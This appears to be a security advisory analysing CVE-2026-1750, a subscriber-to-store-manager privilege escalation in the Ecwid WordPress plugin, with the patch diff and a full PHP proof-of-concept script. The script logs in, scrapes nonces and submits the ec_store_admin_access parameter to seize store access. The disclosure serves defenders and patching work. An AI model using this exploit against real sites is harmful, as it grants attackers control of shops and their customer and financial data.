Atomic Edge analysis of CVE-2026-1750:
The Ecwid by Lightspeed Ecommerce Shopping Cart plugin for WordPress contains an insecure direct object reference vulnerability. This flaw allows authenticated users with minimal permissions, such as subscribers, to escalate their privileges to store manager level. The vulnerability exists in all plugin versions up to and including 7.0.7.
The root cause is a missing capability check in the `save_custom_user_profile_fields` function. The vulnerable code resides in the file `ecwid-shopping-cart/includes/class-ec-store-admin-access.php`. The function processes the `ec_store_admin_access` parameter from a user profile update request. The code at line 31 originally performed a nonce verification but did not validate if the current user had the proper capability to grant store admin access. This omission allowed any authenticated user to trigger the privilege grant logic.
An attacker exploits this by submitting a POST request to the WordPress user profile update endpoint, typically `/wp-admin/profile.php` or the AJAX handler for profile updates. The attacker must be logged in with any authenticated role. The malicious payload includes the parameter `ec_store_admin_access` set to a value of `1`. This payload triggers the vulnerable function, which then adds the `manage_ecwid` capability to the attacker’s user account, granting them store manager access.
The patch adds a capability check before processing the admin access parameter. The diff shows the addition of a conditional statement `if ( ! $this->can_grant_access() ) { return; }` at line 31 in the patched file. This new call validates that the current user possesses the necessary permissions, such as the `manage_options` capability, to perform the action. The fix ensures the `ec_store_admin_access` parameter is only processed for authorized users, preventing unauthorized privilege escalation.
Successful exploitation grants a low-privileged user the `manage_ecwid` capability. This capability provides full administrative access to the Ecwid store dashboard. An attacker can then manage products, orders, and store settings. They could also potentially access sensitive customer data and financial information. This constitutes a complete vertical privilege escalation within the plugin’s context.
--- a/ecwid-shopping-cart/ecwid-shopping-cart.php
+++ b/ecwid-shopping-cart/ecwid-shopping-cart.php
@@ -5,7 +5,7 @@
Description: Ecwid by Lightspeed is a full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.
Text Domain: ecwid-shopping-cart
Author: Ecwid Ecommerce
-Version: 7.0.7
+Version: 7.0.8
Author URI: https://go.lightspeedhq.com/ecwid-site
License: GPLv2 or later
*/
--- a/ecwid-shopping-cart/includes/class-ec-store-admin-access.php
+++ b/ecwid-shopping-cart/includes/class-ec-store-admin-access.php
@@ -31,6 +31,10 @@
return;
}
+ if ( ! $this->can_grant_access() ) {
+ return;
+ }
+
$user = new WP_User( $user_id );
if ( ! empty( $_POST['ec_store_admin_access'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Missing
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1750 - Ecwid by Lightspeed Ecommerce Shopping Cart <= 7.0.7 - Authenticated (Subscriber+) Privilege Escalation via ec_store_admin_access
<?php
$target_url = 'https://example.com/wp-admin/profile.php';
$username = 'attacker_subscriber';
$password = 'attacker_password';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// First request to get login nonce and cookies
$response = curl_exec($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$login_nonce = $matches[1] ?? '';
// Perform login
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1',
'_wpnonce' => $login_nonce
]);
curl_setopt($ch, CURLOPT_URL, 'https://example.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$login_response = curl_exec($ch);
// Navigate to profile page to get update nonce
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, false);
$profile_response = curl_exec($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $profile_response, $matches);
$update_nonce = $matches[1] ?? '';
preg_match('/name="user_id" value="([^"]+)"/', $profile_response, $matches);
$user_id = $matches[1] ?? '';
// Construct the exploit payload to grant store admin access
$exploit_data = [
'from' => 'profile',
'checkuser_id' => $user_id,
'action' => 'update',
'user_id' => $user_id,
'ec_store_admin_access' => '1', // The malicious parameter
'_wpnonce' => $update_nonce,
'_wp_http_referer' => '/wp-admin/profile.php',
'submit' => 'Update Profile'
];
// Send the exploit request
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$exploit_response = curl_exec($ch);
// Check for success
if (strpos($exploit_response, 'manage_ecwid') !== false || strpos($exploit_response, 'Profile updated.') !== false) {
echo "[+] Privilege escalation likely successful. Check user capabilities.n";
} else {
echo "[-] Exploit may have failed.n";
}
curl_close($ch);
?>
